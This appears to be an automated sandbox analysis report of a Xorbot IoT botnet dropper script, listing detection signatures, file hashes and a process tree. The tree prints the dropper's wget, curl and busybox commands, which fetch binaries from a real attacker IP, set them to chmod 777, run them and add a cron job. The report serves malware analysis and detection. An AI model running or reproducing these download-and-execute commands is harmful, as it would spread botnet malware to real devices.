Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/12/2024, 06:25

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d46a3232f2d9e39c42e2378e3b9ee5f6

  • SHA1

    1c15292de404d15bfb04ffd8af708533296f3d87

  • SHA256

    273e3c9752c4ac7d7525722250b775dc812f042fb3f98d007663ca7f6e374f95

  • SHA512

    d6c231f3e22e63ecb5b7e3e9e3b124499280bc190ed2fc49b52e4ded2562482f761eb2ca23ca3e7e21cef55306de30948802b94cbd460696c973d3656aa8ef15

  • SSDEEP

    192:xiE2+Yb3TjllJkOq6v3XJZJeyWQpFXGOq6v3lJZJeyzlgd2+Yb3Ty:xipllGQpFllgr

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:762
        • /bin/chmod
          chmod 777 zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • File and Directory Permissions Modification
          PID:770
        • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB
          ./zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Executes dropped EXE
          PID:772
        • /bin/rm
          rm zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
            PID:774
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:777
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:789
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:807
          • /bin/chmod
            chmod 777 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • File and Directory Permissions Modification
            PID:808
          • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            ./ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:809
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:811
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:812
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:813
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:814
                • /bin/rm
                  rm ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                  2⤵
                    PID:816
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                    2⤵
                      PID:819
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                      2⤵
                        PID:820
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                        • Writes file to tmp directory
                        PID:821
                      • /bin/chmod
                        chmod 777 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                        • File and Directory Permissions Modification
                        PID:822
                      • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        ./OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                        • Executes dropped EXE
                        PID:826
                      • /bin/rm
                        rm OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                          PID:827
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                          2⤵
                            PID:828
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                            2⤵
                              PID:829
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                              • Writes file to tmp directory
                              PID:830
                            • /bin/chmod
                              chmod 777 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:831
                            • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              ./Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                              • Executes dropped EXE
                              PID:832
                            • /bin/rm
                              rm Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                                PID:834
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                2⤵
                                  PID:835
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                  2⤵
                                    PID:836
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:837
                                  • /bin/chmod
                                    chmod 777 Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:838
                                  • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    ./Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                    • Executes dropped EXE
                                    PID:839
                                  • /bin/rm
                                    rm Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                      PID:841
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                      2⤵
                                        PID:842
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                        2⤵
                                          PID:843
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:844
                                        • /bin/chmod
                                          chmod 777 jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:847
                                        • /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          ./jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                          • Executes dropped EXE
                                          PID:848
                                        • /bin/rm
                                          rm jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                            PID:850
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                            2⤵
                                              PID:851
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                              2⤵
                                                PID:853
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:855
                                              • /bin/chmod
                                                chmod 777 554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:859
                                              • /tmp/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                ./554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                • Executes dropped EXE
                                                PID:860
                                              • /bin/rm
                                                rm 554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                  PID:863
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                  2⤵
                                                    PID:864
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                    2⤵
                                                      PID:866
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:868
                                                    • /bin/chmod
                                                      chmod 777 CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:874
                                                    • /tmp/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      ./CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:876
                                                    • /bin/rm
                                                      rm CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                        PID:878
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                        2⤵
                                                          PID:880
                                                        • /usr/bin/curl
                                                          curl -O http://216.126.231.240/bins/kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                          2⤵
                                                            PID:882
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:884
                                                          • /bin/chmod
                                                            chmod 777 kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:890
                                                          • /tmp/kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                            ./kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:891
                                                          • /bin/rm
                                                            rm kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                            2⤵
                                                              PID:894
                                                            • /usr/bin/wget
                                                              wget http://216.126.231.240/bins/2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z
                                                              2⤵
                                                                PID:896
                                                              • /usr/bin/curl
                                                                curl -O http://216.126.231.240/bins/2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z
                                                                2⤵
                                                                  PID:897
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:899
                                                                • /bin/chmod
                                                                  chmod 777 2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:904
                                                                • /tmp/2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z
                                                                  ./2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:906
                                                                • /bin/rm
                                                                  rm 2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z
                                                                  2⤵
                                                                    PID:908
                                                                  • /usr/bin/wget
                                                                    wget http://216.126.231.240/bins/QipwOrrM9Met8cPTHhOdHkWsqmIRKNxERN
                                                                    2⤵
                                                                    • System Network Configuration Discovery
                                                                    PID:910

                                                                Network

                                                                      MITRE ATT&CK Enterprise v15

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • /tmp/2s1KPPCkdEazuBvxFgy7lHHDCfnDs8MJ3z

                                                                        Filesize

                                                                        122KB

                                                                        MD5

                                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                                        SHA1

                                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                                        SHA256

                                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                                        SHA512

                                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                                      • /tmp/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG

                                                                        Filesize

                                                                        99KB

                                                                        MD5

                                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                                        SHA1

                                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                                        SHA256

                                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                                        SHA512

                                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                                      • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX

                                                                        Filesize

                                                                        107KB

                                                                        MD5

                                                                        eb9c3a0de91fcf16ba17cb24608df68c

                                                                        SHA1

                                                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                                                        SHA256

                                                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                                        SHA512

                                                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                                      • /tmp/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS

                                                                        Filesize

                                                                        111KB

                                                                        MD5

                                                                        701e7a55a4f3650f5feee92a9860e5fc

                                                                        SHA1

                                                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                                        SHA256

                                                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                                        SHA512

                                                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                                      • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9

                                                                        Filesize

                                                                        151KB

                                                                        MD5

                                                                        6c583043d91c55aa470c08c87058e917

                                                                        SHA1

                                                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                                                        SHA256

                                                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                                        SHA512

                                                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                                      • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS

                                                                        Filesize

                                                                        117KB

                                                                        MD5

                                                                        849fa04ef88a8e8de32cb2e8538de5fe

                                                                        SHA1

                                                                        c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                                        SHA256

                                                                        8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                                        SHA512

                                                                        2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                                      • /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O

                                                                        Filesize

                                                                        112KB

                                                                        MD5

                                                                        05d7857dcead18bbd86d2935f591873c

                                                                        SHA1

                                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                                        SHA256

                                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                                        SHA512

                                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                                      • /tmp/kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ

                                                                        Filesize

                                                                        111KB

                                                                        MD5

                                                                        ca897a38f23ec23521ce0b1b83f8422d

                                                                        SHA1

                                                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                                        SHA256

                                                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                                        SHA512

                                                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                                      • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG

                                                                        Filesize

                                                                        151KB

                                                                        MD5

                                                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                                                        SHA1

                                                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                        SHA256

                                                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                        SHA512

                                                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                      • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB

                                                                        Filesize

                                                                        177KB

                                                                        MD5

                                                                        786d75a158fe731feca3880f436082c0

                                                                        SHA1

                                                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                                        SHA256

                                                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                                        SHA512

                                                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                                      • /var/spool/cron/crontabs/tmp.CATrPj

                                                                        Filesize

                                                                        210B

                                                                        MD5

                                                                        845bce2ae8d433789cb18f058a03ac1d

                                                                        SHA1

                                                                        f9b98f8313990b8e8a5383769de699303540e73b

                                                                        SHA256

                                                                        d2ff2dfd815a8080e5800284706cf081ece55d9d6503caa27ce645cc9630bc0a

                                                                        SHA512

                                                                        1a15a12921183b99a45b96b8c15a21ca1762a7518a11dbfb4c52ccc5c14290a0fffd7e5072b9f2af9f456c8039d2e77d08f8f9731359344abf48d7fe6f4a67df